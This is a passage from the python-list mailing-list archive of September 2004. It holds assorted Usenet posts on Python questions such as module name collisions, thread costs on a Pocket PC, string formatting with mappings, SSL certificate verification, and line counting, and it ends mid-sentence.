Hey everyone. : > : > I was looking around my file system today when I stumbled ac ross : > A -COMPLETE- bakup of every piece of python code I ever coded in the : > folder... : > : > C:\Documents and Settings\edit.edit\Local Settings\Temp\bak : > : > Can someone tell me were the options are for turnin this bakup feature on : > and off?? : > : > I have current Python build installed, ie 2.3.4 and also Pythonwin same : > build.. : > : > I cannot remember selecting any option in the setup to bakup my code this : > way, so I was wondering were the feature for it actualy is??? : > : > I probably would like to keep it, just in case of any file corruption : > problems, but it would be ncie to no that I ALSO turn the feature of as : > well. : You should/can run Accessories/System Tools/Disk Cleanup periodically with : 'clear temp files' checked. Will solve more problems than just this. : : TJR So it's not a python functionality, but a windows one?? Hrmmm Anon -----BEGIN PGP SIGNATURE----- Version: PGP 8.0 iQA/AwUBQUDD5C/z2sM4qf2WEQJLwACgiqRVg1XSQiPNODdqTEzlxnd0VCwAn3qf AOt+onY+lNrqjWvZyAl8NHLY =dimZ -----END PGP SIGNATURE----- From davids at webmaster.com Fri Sep 3 21:12:49 2004 From: davids at webmaster.com (David Schwartz) Date: Fri, 3 Sep 2004 18:12:49 -0700 Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> Message-ID: "Anne & Lynn Wheeler" wrote in message news:u8ybrrzqd.fsf at mail.comcast.net... > at the time of the 1st disaster ... the claim was that the utah bid > was the only solution that required manufactoring the boosters in > sections for transportion and the subsequent re-assembly in florida > with gaskets. the assertion was that none of the other solutions could > have had a failure because of gaskets ... because they didn't have > gaskets (having been manufactored as a single unit). > > so the failure cause scenario went (compared to solutions that didn't > require gaskets and manufactoring in sections) > > disaster because of inferior(?) gaskets > inferior(?) gaskets because of gaskets > gaskets because of transportion sectioning requirement > transportation sectioning requirement because the sections > were manufactored in utah True, but totally irrelevent. Had they gone with any other design, they could not have had a disaster due to any defect in the design they wouldn't have chosen. DS From fluxent at yahoo.com Tue Sep 14 15:27:14 2004 From: fluxent at yahoo.com (Bill Seitz) Date: 14 Sep 2004 12:27:14 -0700 Subject: newbie sending hex values over UDP socket References: Message-ID: Jason Lai wrote in message news:... > > Observe: > > >>> "\x72\x69\x30" == 'ri0' > True > > Bytes are bytes, regardless of whether you write them as characters, > binary, decimals, or hexidecimals. > > - Jason Lai OK, so I'm clear on sending a string. If I want to send a numeric value, do I use something like struct.pack('b',int) ? From russblau at hotmail.com Fri Sep 17 14:01:47 2004 From: russblau at hotmail.com (Russell Blau) Date: Fri, 17 Sep 2004 14:01:47 -0400 Subject: getting the function name References: <3064b51d.0409170927.584a10b3@posting.google.com> Message-ID: <2r0n4cF14n79gU1@uni-berlin.de> wrote in message news:3064b51d.0409170927.584a10b3 at posting.google.com... > Is there a way in Python to print the name of the function one is > currently in? Google is your friend: http://groups.google.com/groups?threadm=bado6f%24rgf%241%40driftwood.ccs.carleton.ca&rnum=1 Also http://groups.google.com/groups?threadm=vvu5ru5ddkhn21%40corp.supernews.com&rnum=1 -- I don't actually read my hotmail account, but you can replace hotmail with excite if you really want to reach me. From fumanchu at amor.org Sat Sep 4 14:17:33 2004 From: fumanchu at amor.org (Robert Brewer) Date: Sat, 4 Sep 2004 11:17:33 -0700 Subject: import module name collision Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EB9@exchange.hqamor.amorhq.net> Chris Foote wrote: > Today I happened to accidentally name one of my project's > files 'email.py', which collides with the module of the > same name in Python's standard library: > > from email.MIMEText import MIMEText > > which causes problems within MIMEText later: > > File "/usr/lib/python2.3/smtplib.py", line 49, in ? > from email.base64MIME import encode as encode_base64 > ImportError: No module named base64MIME > > Is there any mechanism to refer to standard library > modules so that there's no name collision problem with > the local filename ? > > ... or any other solution ? I assume your 'email.py' is either in /Lib or in /site-packages...? The quickest solution would be to make your project into a package and shove your 'email.py' into it somewhere, so it's no longer 'top-level'. Robert Brewer MIS Amor Ministries fumanchu at amor.org From abra9823 at mail.usyd.edu.au Thu Sep 30 02:59:36 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Thu, 30 Sep 2004 16:59:36 +1000 Subject: cost of creating threads Message-ID: <1096527576.415baed83b56c@www-mail.usyd.edu.au> hi! i have an application that runs on a pocket pc. the application has a server which responds to UDP requests. each request contains the address of another server (say, server_b). the pocket pc server recieves these UDP requests and creates an SSL client connection to sercer_b my current setup is iterative and i am thinking of making it into a threaded application.since i have a gui, the pocket pc server already runs in a separate thread. my question is, in terms of memory and processing power, how much overhead will creating threads cost. My sessions are quite short lived. if this was a pc application, i'd go ahead with a threads. But since this is a pocket pc (the processor is a XScale 400 MHz but really all said and done we only ever have around 200 MHz or so - memory available would be optimistically speaking, around 12 MB) any thoughts on what threads would cost me? thanks cheers ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From apardon at forel.vub.ac.be Thu Sep 2 07:01:35 2004 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 2 Sep 2004 11:01:35 GMT Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> <1rk6vkeo5d.fsf@rovereto.ifi.uio.no> <87hdqok9i6.fsf@sinken.local.csis.hku.hk> <1rfz68ely9.fsf@rovereto.ifi.uio.no> <876574k7du.fsf@sinken.local.csis.hku.hk> <1r3c28ejis.fsf@rovereto.ifi.uio.no> <1rllg0cb3m.fsf@rovereto.ifi.uio.no> <874qmovxna.fsf@sinken.local.csis.hku.hk> Message-ID: Op 2004-09-01, Steve Holden schreef : > Antoon Pardon wrote: > >> Op 2004-08-31, Ville Vainio schreef : >> >>>>>>>>"Antoon" == Antoon Pardon writes: >>> >>> Antoon> The nesting reflects the structure of the algorithm. If an >>> Antoon> algorithm is best described by the nesting of a number of >>> Antoon> control structures then i don't see how you are going to >>> Antoon> remove that nesting. >>> >>>Functions and classes? >> >> >> If you need a function or class just to avoid nesting, then IMO >> you have only camoeflaged it. In order to understand what is >> going on you still need to understand how the nesting of >> a number of controls prroduce a certain result and when >> you write a function just to avoid nesting it often enough >> makes readablity harder. >> > I'm afraid that's bollocks, equivalent to saying that building an > airliner by connecting subassamblies together is just camouflaging the > complexity. No it is not. Those subassemblies each have their own function. Usually you can even use subassemblies to build different planes. But if something is complex and for whatever reason not easily divided in subassemblies than just picking a number of things that are in each others neighbourhoud and calling that a subassembly won't accomplish much. And that is eactly what you do if the only reason for making something a function is because the code in question was nested too deep. > Presumably your chosen method would be to assemble a pile of all the > parts and then just stick them together one by one? God help the test > pilot if so... Well you presume wrong. > [One of] the point[s] about classes and functions is precisely that they > do allow you to reduce the complexity by providing repeatable unit > behavior which you can test before you rely on them in your higher-level > logic. So? That doesn't mean you should define one, just because some code was nested too deep. > The alternative is monolithic programs, which are well known to be > difficult to compile and maintain. > > If your program logic is too deeply nested with conditions then > functions and classes provide a powerful logical abstraction to fight > the complexity and improve code reliability and maintainability. Only if that code has some usefull abstraction. Just putting some code in a function doesn't provide any usefull abstraction. -- Antoon Pardon From flacco002 at spambadTwilight-systems.com Wed Sep 8 20:35:56 2004 From: flacco002 at spambadTwilight-systems.com (flacco) Date: Wed, 08 Sep 2004 20:35:56 -0400 Subject: container-indepentent iteration code ? In-Reply-To: References: <10jv5ad1sjgep4d@corp.supernews.com> Message-ID: <10jv9ae988bbnb7@corp.supernews.com> Jeremy Bowers wrote: > On Wed, 08 Sep 2004 19:27:38 -0400, flacco wrote: > >>is there a way to iterate over the *values* in a list/dict/whatever, >>regardless of whether it's a list, dict, or whatever? ie, the iteration >>code will not know beforehand what kind of container it's getting. > > In what way does > > for obj in container: > > not meet your needs? i always want obj to be the value. dicts, for example, yield keys instead of values (i think?)... From martin at v.loewis.de Fri Sep 17 16:59:18 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Fri, 17 Sep 2004 22:59:18 +0200 Subject: Changes in this release docs In-Reply-To: References: <414b400c$0$24870$9b622d9e@news.freenet.de> Message-ID: <414b5023$0$18927$9b622d9e@news.freenet.de> Jeff Blaine wrote: > I guess I should have used the exact wording. > > http://docs.python.org/whatsnew/whatsnew23.html Thanks. I really did not know what you were referring to, because there also is http://www.python.org/2.3/highlights.html http://www.python.org/2.3/NEWS.txt >> But is it asked to much for users to read the PEP when they want >> to find out the rationale for a change? > > > I'm not really interested in rationalization of a change. That's > what the PEPs are for. I thought you were asking for information why a change is made. To me, this is the same as asking "what was the rationale for the change"; that question is (or should be) answered in the PEP. > That said, I wholeheartedly thank Andrew K. for his many years of > work on the language, and don't mean to slight his document. And indeed, it might be better to direct remarks about this document directly to him. He is the only one making changes to it, so only he can offer more than sympathy. Regards, Martin From carribeiro at gmail.com Sat Sep 25 01:32:19 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Sat, 25 Sep 2004 02:32:19 -0300 Subject: up with PyGUI! In-Reply-To: References: <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de> <864d3709040924070873d4708f@mail.gmail.com> Message-ID: <864d370904092422325c82ac75@mail.gmail.com> On Fri, 24 Sep 2004 22:12:46 -0700 (Pacific Standard Time), Brendan Barnwell wrote: > My implementation essentially does this as well. However, I > have devised a metaclass (called ClassObj) that does not actually > replace the class with an instance. Instead, each class keeps a reference > to singleton instance. All attributes are stored on the class object, but > methods are forwarded to the instance (since Python won't allow you > to call methods on a class). The advantage of this is that the classes > can even be subclassed. This metaclass largely eliminates the > distinction between classes and objects; a ClassObj can effectively > function as either. Well, it took me sometime to figure out if I should leave inner classes as classes or instantiate them. It's funny because my approach ends up being similar to yours -- the class is instantiated by the metaclass, and in the process the original class declaration is lost, which means that it turns into a singleton for all practical purposes. The reasons why I decided to instantiate inner classes were: 1) It's easier to process the resultin class declaration, because all attributes are instances. Before doing it I had to put some "isclass" checks to take different actions depending on the type of the attribute. It's not needed anymore (not to the same extent, at least). 2) The original class is not needed really for subclassing. It's not convenient anyway, because you'ld need dot notation to find the inner class declaration. My suggestion is that all classes that are supposed to be subclassed can be safely declared at the top level, as in: class i_am_a_baseclass(Container): attr0 = "zzz" class outer_class(Container): class inner_class_1(Container): attr1 = "a" attr2 = "b" class inner_class_1(i_am_a_baseclass): attr3 = "r" attr4 = "s" As of now, I really don't know for sure which approach is better. More experimentation is needed to check what makes more sense in the long run not only for me (and you), but for other users having a first try at this concept. > I'm definitely interested. I have put my work-in-progress code up > if you want to look at it. It is at http://www.brenbarn.net/misc/gui/ > (You may have to change the import statements in the files slightly; I > haven't bothered to make sure the directory structure there is the same > as on my local system.) This is obviously incomplete, but it gives an > idea of the kind of thing I am doing. Let me know what you think! Thanks for the code -- now it's really late (2:30am), and I need to sleep... I'll try to check it tomorrow with a fresh mind. As for my code, I've changed heavily the code that I've posted yesterday. I've tested some alternatives and dropped parts of the code. It's simpler and easier to reuse now. I'm debuggin some advanced stuff now -- weird bugs pop up sometimes :-P -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From amk at amk.ca Wed Sep 1 14:04:39 2004 From: amk at amk.ca (A.M. Kuchling) Date: Wed, 01 Sep 2004 13:04:39 -0500 Subject: XML documentation stinks - help? References: Message-ID: @On 1 Sep 2004 10:08:47 -0700, Simon John wrote: > But with the XML examples I've managed to get going with Python, it > seems to work in reverse - you need to know the data you're looking for > first! That's because you're comparing two different styles of interface, a tree-style Perl interface with an event-style Python interface. minidom or ElementTree are comparable tree-style interfaces for Python. --amk From Moiz.Golawala at ge.com Thu Sep 9 09:11:13 2004 From: Moiz.Golawala at ge.com (Golawala, Moiz M (GE Infrastructure)) Date: Thu, 9 Sep 2004 09:11:13 -0400 Subject: Variable passing between modules. Message-ID: The example that I provided was very simplistic. I have a tones of methods in module 2 and the method need to get executed and need the someVar value. I was thinking like setting up some a value in some global VM list which can be accessed by all modules. Moiz Golawala GE Infrastructure, Security Software Engineer Enterprise Solutions T 561 994 5972 F 561 994 6572 E moiz.golawala at ge.com www.gesecurity.com 791 Park of Commerce Blvd., Suite 100 Boca Raton, FL, 33487, U.S.A. GE Security, Inc. -----Original Message----- From: python-list-bounces+moiz.golawala=ge.com at python.org [mailto:python-list-bounces+moiz.golawala=ge.com at python.org]On Behalf Of Jeff Shannon Sent: Wednesday, September 08, 2004 5:37 PM To: python-list at python.org Subject: Re: Variable passing between modules. Golawala, Moiz M (GE Infrastructure) wrote: >Hi All, > >I want to pass a value between 2 modules. Both the modules are scripts (no classes involved). Does anyone know how I can do that. For eg: > >in module1 > > >if __name__ == '__main__': > someVar = 'hello' > import module2 > > >in module 2 > ># here I would like to use someVar >print someVar > > > The best way to do this is to put your module2 code inside a function, and simply call that function with someVar as an argument. --- module2.py ----- def go(somevar): print somevar --- module1.py ----- import module2 somevar = "hello" module2.go(somevar) It *is* possible to insert a variable into another module's namespace, like so: import module2 module2.somevar = somevar However, this won't accomplish what you want, because all of the code in module2 is executed when you import module2. If that code is all def statements, then you've created a bunch of functions that can be used later; however, if that code is all module-level imperative code, as you seem to be showing in your example, then it's all been executed by the time that module1 returns from the import statement. Inserting a variable into module2's namespace *will* let you use that variable as a global in any function in module2, but this has all of the drawbacks that globals always have plus a few more (tight coupling with module1, the potential to mistakenly think that rebinding module2.somevar will also rebind module1.somevar, etc)... Jeff Shannon Technician/Programmer Credit International -- http://mail.python.org/mailman/listinfo/python-list From adurdin at gmail.com Thu Sep 23 21:05:58 2004 From: adurdin at gmail.com (Andrew Durdin) Date: Fri, 24 Sep 2004 11:05:58 +1000 Subject: inelegance in calling dynamically created class methods from scripting level In-Reply-To: <41520909$1_5@news3.es.net> References: <41520909$1_5@news3.es.net> Message-ID: <59e9fd3a04092318057ff3e8a0@mail.gmail.com> On Wed, 22 Sep 2004 17:21:16 -0600, Danny Shevitz wrote: > # ds.myApply(???something callable???) Can't get to work! You need to be able to reference the callable via some name in the current scope. For 'myPrint' that's easy: ds.myApply(Item.myPrint) For 'hoopty', you can't do that, because in the current scope you don't have a name bound to any object with the 'hoopty' attribute. But since you know that the hoopty attribute was bound to the reset function, you can get the desired effect like this: ds.myApply(reset) From tzot at sil-tec.gr Tue Sep 28 21:00:15 2004 From: tzot at sil-tec.gr (Christos TZOTZIOY Georgiou) Date: Wed, 29 Sep 2004 04:00:15 +0300 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> Message-ID: On Thu, 23 Sep 2004 17:53:16 -0700, rumours say that Richard Hanson might have written: >(I've already thought of Doors... -- doors are more useful than >windows, aren't they? ;-) ) Yes. Actually, Microsoft marketing people had the same epiphany as you, and they'll use Doors as the official name for the Longhorn UI. Just grok the tagline: "MS Doors: back to the future". -- TZOTZIOY, I speak England very best, "Tssss!" --Brad Pitt as Achilles in unprecedented Ancient Greek From mwh at python.net Thu Sep 9 12:45:16 2004 From: mwh at python.net (Michael Hudson) Date: Thu, 9 Sep 2004 16:45:16 GMT Subject: Is except: ... pass bad style? References: Message-ID: marduk writes: > I commonly use code like this > > try: > # call optional method > myobj.method() > except AttributeError: > # no biggie > pass > > > Occasionally I use pylint, which is a good tool, but in the above > snippet pylint will complain that 'Except doesn't do anything'. True, > but is that bad style? I know there are other ways of doing it, but > of all the other "obvious" ones, this appears the most straight > forward. Sounds like a dubious warning to me. > Should I ignore pylint or is there a more Pythonic way to do this? Well, try: meth = myobj.method except AttributeError: pass else: meth() is possibly better (your version might hide bugs in the method). It's a pain to do this all the time, though. Come to think of it getattr(myobj, "method", lambda :None)() also acheives the same thing. Bit inscrutable, though. Cheers, mwh -- what's a web widget?? thirmite: internet on a stick, on fire with web sauce! -- from Twisted.Quotes From abra9823 at mail.usyd.edu.au Tue Sep 28 08:52:23 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Tue, 28 Sep 2004 22:52:23 +1000 Subject: ssl Message-ID: <1096375943.41595e874b234@www-mail.usyd.edu.au> hi! i have to write a ssl connection with server authentication for my application. the client needs to be python, the server can be anything. i had a look at the ssl support in socket, and it seems okay apart from the fact that it wont be authenticating the server (verifying the certificate). the client side needs to be on a pocket pc, and though i got OpenSSL running on it, i cant build M2Crypto and PyOpenSSL on it. I have tried using MCrypto and PyOpenSSL on the server side (which is just a solaris machine) and again am having trouble with PyOpenSSL and M2Crypto. since i have little time to dwell on this part, i am wondering if having an ssl server in java with a client in Python (using ssl from socket) be okay? does anyone see any potential problems with that? and would it be possible for me to hack around socket and add the certificate verification bit myself? is that even allowed and is it possible? thanks cheers ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From mefjr75 at hotmail.com Sat Sep 25 16:45:32 2004 From: mefjr75 at hotmail.com (M.E.Farmer) Date: 25 Sep 2004 13:45:32 -0700 Subject: Drawing sound References: Message-ID: <18282ecb.0409251245.3a7791f7@posting.google.com> Chris wrote in message news:... > I want a program that can "draw" sound. > > Imagine drawing a graph of frequency against time - > and then being able to play it over the computer speakers. > > Can this be done in Python? > Or in any other language? Hello Chris, This may be of intrest to you. 'http://hem.passagen.se/rasmuse/Coagula.htm' From charles.griswold at comcast.net Fri Sep 10 11:57:33 2004 From: charles.griswold at comcast.net (Charles Griswold) Date: Fri, 10 Sep 2004 15:57:33 GMT Subject: Newbee Jython Question Message-ID: I'm just starting to learn jython prior to embedding it in a larger lava application. On my first try I get the following message C:\Downloaded Files\Jython>java -cp . jython-21 -o jython-2.1 demo lib source try path C:\Downloaded Files\Jython\ can not get flavour null for os 'Windows_XP' It seems like it doesn't like to run on Windows-XP. Am I missing some param or flag for Jython to run on XP I'm sure there is an obvious answer. Any help appreciated From aleaxit at yahoo.com Fri Sep 10 07:31:09 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 10 Sep 2004 13:31:09 +0200 Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> <1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com> <20040910064659.7a1c66af@gypsy.pfortin.com> Message-ID: <1gjwfl1.i046071x80ul9N%aleaxit@yahoo.com> Pierre Fortin wrote: ... > def mkdict(**kwargs): > return kwargs You don't need this with Python 2.3 and later -- just call dict with keyword args, it just works!-) > fmt = { 'wDate':10, 'wOpen':6, 'wHigh':6, 'wLow':6, # width ... ...and you don't use the keyword form here, which WOULD be nice;-). > # line continuations must be left-justified to avoid extra spaces nope, you can format as you wish, thanks to Python's handy idea (mutuated from C) of merging logically adjacent literals: > print "%%(Date)%(wDate)d.%(pDate)ds \ > %%(Open)%(wOpen)d.%(pOpen)df \ You could use, say: print ( "%%(Date)%(wDate)d.%(pDate)ds" " %%(Open)%(wOpen)d.%(pOpen)df " etc etc ) Anyway, your solution is neat but it seems a bit repetitive to me. Any time you have to type the same thing right over and over, aka "boilerplate", there is a reduction in clarity and legibility and a risk of typos. I would therefore suggest a more advanced idea...: class formatter: def __init__(self, format_map, default_width=6, default_prec=2): self.__dict__.update(locals()) def __getitem__(self, varname): return '%%(%s)%d.%d" % (varname, self.format_map.get('w'+varname, self.default_width), self.format_map.get('p'+varname, self.default_prec)) now you can modify your code to do fmt = formatter(fmt) [[you can actually simplify your fmt dict a lot thanks to the defaults]], and then code the printing like: print ( '%(Date)ss %(Open)sf %(High)sf %(Low)sf %%(Change)s' % fmt % map ) It seems to me that this is more readable and easier to maintain than the repetitious style that you need if fmt is a plain dictionary. The real point here is that the RHS operand of % can be ANY mapping: code your own __getitem__ and make it return whatever computed result is most convenient to you. Alex From carribeiro at gmail.com Tue Sep 21 21:53:03 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 21 Sep 2004 22:53:03 -0300 Subject: Python 3.0, rich comparisons and sorting order In-Reply-To: <2at622-68v.ln1@lairds.us> References: <864d370904092109509df67ee@mail.gmail.com> <_YWdnWax9KXx783cRVn-og@giganews.com> <2at622-68v.ln1@lairds.us> Message-ID: <864d37090409211853a445643@mail.gmail.com> On Wed, 22 Sep 2004 01:08:05 GMT, Cameron Laird wrote: > In article , > Carlos Ribeiro wrote: > >On Tue, 21 Sep 2004 14:26:54 -0400, Istvan Albert > > wrote: > >> If the objects cannot be compared then there is no > >> reasonable result. Getting them back in whatever order is not one. > >> You're better off not sorting then. If half of your objects are > >> sortable and the rest are not what should the result be? > > > >Well, there is a sizeable chunk of mathemathical theory dealing with > >sorting things that can't be directly compared -- google for > >topological sorting. It's used, for example, in graph theory. But > >that's off topic, I've mentioned it just to point to you that it's > >really dangerous to make assertions regarding what's reasonable or not > >with regards to sorting... > . > . > . > I thought I understood this thread, but now I'm *really* confused. > Yes, mathematicians talk about partial orders. Mr. Ribeiro, I know > you have good ideas. Are you saying that you do want Python to > implement topological orders over all input sequences? In principle, > I guess that's feasible. It strikes me as a specialty item; we're > all probably best off to build in sorting as it is now, and leave > toposorts to those who need them. I don't particularly think they'd > confuse the masses. I just figure Pythonia's energy is better ap- > plied elsewhere. No, I was not talking seriously. I was partly joking with Albert's assertion: "If the objects cannot be compared then there is no reasonable result." ..because in topological sorting it's indeed possible to sort a set where some items can't be directly compared, and the result is reasonable. But I did not intend that to be taken as a serious proposition for Python. (in fact, I've stated that's "really dangerous to make assertions regarding what's reasonable or not with regards to sorting". I should have listened to my own advice :-) ) -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From aleaxit at yahoo.com Mon Sep 20 15:22:47 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 20 Sep 2004 21:22:47 +0200 Subject: Python as alternative to Visual Basic References: Message-ID: <1gkfk8w.1q6d7jy1xj5at9N%aleaxit@yahoo.com> Aaron Ginn wrote: ... > The software package I'm developing will make calls to Excel and Access > and requires a very usable GUI for users who are not particularly > computer literate. My first question is: what is the best choice for a > GUI toolkit on Windows? If you can afford the Qt+PyQt license (cheapest if you buy BlackAdder, actually), as you seem to indicate by mentioning you're considering it, that would be my choice. Many swear by wxWidgets+wxPython, though, which has the advantage of not requiring you to pay for a license. > Basically, I'm trying to make a case for Python to the other developers > of this software package as I believe it offers numerous advantages over > VB in terms of speed of development, a quick learning curve, and > maintainability. Can anyone help me make that case? Not unless you first clarify whether you mean classic VB (VB.6) or VB.7 (aka VB.NET), since they're pretty different despite some superficial syntax similarities. Actually this may be part of the case you want to make: if you choose a proprietary language you're getting, bound hands and feet, in the clutches of that language's owner. If they decide to make the transition between release 6 and 7 a revolution that wipes out your existing know-how and breaks your existing code, tough luck. Choose an open-source language that's careful about backwards compatibility issues, such as Python, and you're hedging against that. Second, the choice between a language which is designed never to run anywhere else, and one that IS cross-platform. Sure, today you're targeting Windows exclusively. Say that tomorrow the Thai government, or a large bank, whatever, falls in love with your app, but they use Linux exclusively. Can you grasp the hundred millions that hover so tantalizingly close to your clutches...? If you chose VB, probably not. If you chose Python, probably yes. Why curtail your future options? Then we can get into issues of more interest to developers, but these are great to use with any manager or investor type;-). Alex From aahz at pythoncraft.com Mon Sep 13 16:55:08 2004 From: aahz at pythoncraft.com (Aahz) Date: 13 Sep 2004 16:55:08 -0400 Subject: Python or 4NT? With a question or two about popen() References: <95c29a5e.0409121552.af6bdba@posting.google.com> Message-ID: In article <95c29a5e.0409121552.af6bdba at posting.google.com>, Robin Siebler wrote: > >I have a bunch of command line tests that I need to automate. I've >run into too many bugs with the default Win2k command shell, so I need >to either purchase 4NT or handle the logic and output processing with >Python. I'm looking for experiences, comments, problems, etc. While I haven't done any Windows shell programming for years, I used to be a heavy 4DOS user (and I think I actually purchased 4NT at one point). These days, I wouldn't even consider 4NT for anything serious. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "A foolish consistency is the hobgoblin of little minds, adored by little statesmen and philosophers and divines." --Ralph Waldo Emerson From kjetilho at yksi.ifi.uio.no Thu Sep 2 13:35:32 2004 From: kjetilho at yksi.ifi.uio.no (Kjetil Torgrim Homme) Date: Thu, 02 Sep 2004 19:35:32 +0200 Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> <1rk6vkeo5d.fsf@rovereto.ifi.uio.no> <87hdqok9i6.fsf@sinken.local.csis.hku.hk> <1rfz68ely9.fsf@rovereto.ifi.uio.no> <876574k7du.fsf@sinken.local.csis.hku.hk> <1r3c28ejis.fsf@rovereto.ifi.uio.no> <1rllg0cb3m.fsf@rovereto.ifi.uio.no> <874qmovxna.fsf@sinken.local.csis.hku.hk> Message-ID: <1r8ybsa80r.fsf@rovereto.ifi.uio.no> [Jeremy Bowers]: > > Keep writing your spaghetti code, and don't wait for Python to > help you code that way. Good luck. what basis do you have for this characterisation? have you seen any examples of Antoon's code? I'm curious how you can call deeply (how deep is deep?) nested code "spaghetti code", the flow through such code is almost always obvious. adding layers of functions, on the other hand, can very well introduce the spaghetti feeling. getting abstractions right can be hard, and sometimes it might be better to simply add end markers instead. I'm sure everyone here agrees that the ideal is to write short functions (so they fit comfortably on a single page) and to limit the number of indentation levels. I'd say more than five[1] levels should be avoided. still, I'm not dogmatic about it. sometimes the more readable solution is to indent more deeply than recommended. or it would be more readable, if end markers were used in that code :-) [1] keep in mind that "class" and "def" are two levels which are all but mandatory. -- Kjetil T. From steve at holdenweb.com Mon Sep 20 07:58:04 2004 From: steve at holdenweb.com (Steve Holden) Date: Mon, 20 Sep 2004 07:58:04 -0400 Subject: uncompressed size of .gz file In-Reply-To: References: <000001c49ed3$35125b20$0a0c10ac@che2003> <200409201121.58282.heikowu@ceosg.de> Message-ID: Heiko Wundram wrote: > Am Montag, 20. September 2004 12:16 schrieb Fredrik Lundh: > >>If it had been "native", I'd used "=" instead of "<". It never hurts to >>read the relevant RFC before posting: > > > That's why I said: "I don't know, and read up." :-) Seems strange to me that a > format which is to be portable doesn't use big-endian, though, because pretty > much everything else does... > As long as the format is documented itr doesn't really matter whether it stores the bytes big-endian, little-endian or alternating from the big and little ends. The effbot is believed to be unusually reliable on matters of detail. Ignore it at your peril :-) regards Steve From anthonybaxter at gmail.com Wed Sep 1 05:30:24 2004 From: anthonybaxter at gmail.com (Anthony Baxter) Date: Wed, 1 Sep 2004 19:30:24 +1000 Subject: about presicion In-Reply-To: <1gjfjq0.1bpe86xzyakjcN%aleaxit@yahoo.com> References: <1gjfjq0.1bpe86xzyakjcN%aleaxit@yahoo.com> Message-ID: Another approach is to find someone with the appropriate toolchain (VS7.1) and get them to do: % python setup.py install % python setup.py bdist_wininst and then make the windows installer for the gmpy module available. My understanding is that building 2.4 modules with either mingw or the freely available MS compiler is still a non-trivial exercise - but there's enough people interested in this that I suspect it will be resolved soon enough. From janimal at mail.trillegaarden.dk Mon Sep 20 09:18:53 2004 From: janimal at mail.trillegaarden.dk (Ling Lee) Date: Mon, 20 Sep 2004 15:18:53 +0200 Subject: How to count lines in a text file ? Message-ID: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> Hi all. I'm trying to write a program that: 1) Ask me what file I want to count number of lines in, and then counts the lines and writes the answear out. 2) I made the first part like this: in_file = raw_input("What is the name of the file you want to open: ") in_file = open("test.txt","r") text = in_file.read() 3) I think that I have to use a for loop ( something like: for line in text: count +=1) Or maybee I have to do create a def: something like: ( def loop(line, count)), but not sure how to do this properly. And then perhaps use the readlines() function, but again not quite sure how to do this. So do one of you have a good idea. Thanks for all help From anthonybaxter at gmail.com Sun Sep 5 04:07:22 2004 From: anthonybaxter at gmail.com (Anthony Baxter) Date: Sun, 5 Sep 2004 18:07:22 +1000 Subject: Module name conflict with standard library In-Reply-To: <4edc17eb.0409042332.5730eed7@posting.google.com> References: <87k6v9o8cg.fsf@news2.ososo.de> <4edc17eb.0409042332.5730eed7@posting.google.com> Message-ID: On 5 Sep 2004 00:32:38 -0700, Michele Simionato wrote: > Am I correct? I do really really like PEP328 since I was bitten by > this kind of problems myself in the past. Will it be implemented fully > in time for 2.4.b1? It seems doubtful, unfortunately, unless someone steps forward Real Soon to champion the PEP and get it done. From remco at tomaatnet.nl Thu Sep 30 05:10:45 2004 From: remco at tomaatnet.nl (Remco Boerma) Date: Thu, 30 Sep 2004 10:10:45 +0100 Subject: List comprehensions performance In-Reply-To: References: <278de0e.0409291441.4ef0a859@posting.google.com> Message-ID: Yup, use the standard timeit module for testing. Made for these purposes. . http://epydoc.sourceforge.net/stdlib/public/timeit-module.html Cheers! Remco Skip Montanaro wrote: > Neuruss> What I'd like to know is if using list comprehensions would > Neuruss> give me a performance advantage over traditional for loops or > Neuruss> not. > > You can always run tests to see. There is some data dependency so it > makes sense to test map, listcomps and for loops using data that's typical > of the application you intend to use them in. > > Skip From maxwell at ldc.upenn.edu Wed Sep 1 07:56:17 2004 From: maxwell at ldc.upenn.edu (Mike Maxwell) Date: Wed, 01 Sep 2004 07:56:17 -0400 Subject: sys.stdin.readline() In-Reply-To: <1gjfriz.1cy11j313viwyqN%aleaxit@yahoo.com> References: <367a4461.0408311221.30866c09@posting.google.com> <1gjfriz.1cy11j313viwyqN%aleaxit@yahoo.com> Message-ID: Alex Martelli wrote: > Mike Maxwell wrote: > No, I think you're correctly observing that Python isn't oriented to > one-liners -- not at all. Most interesting things in Python require > 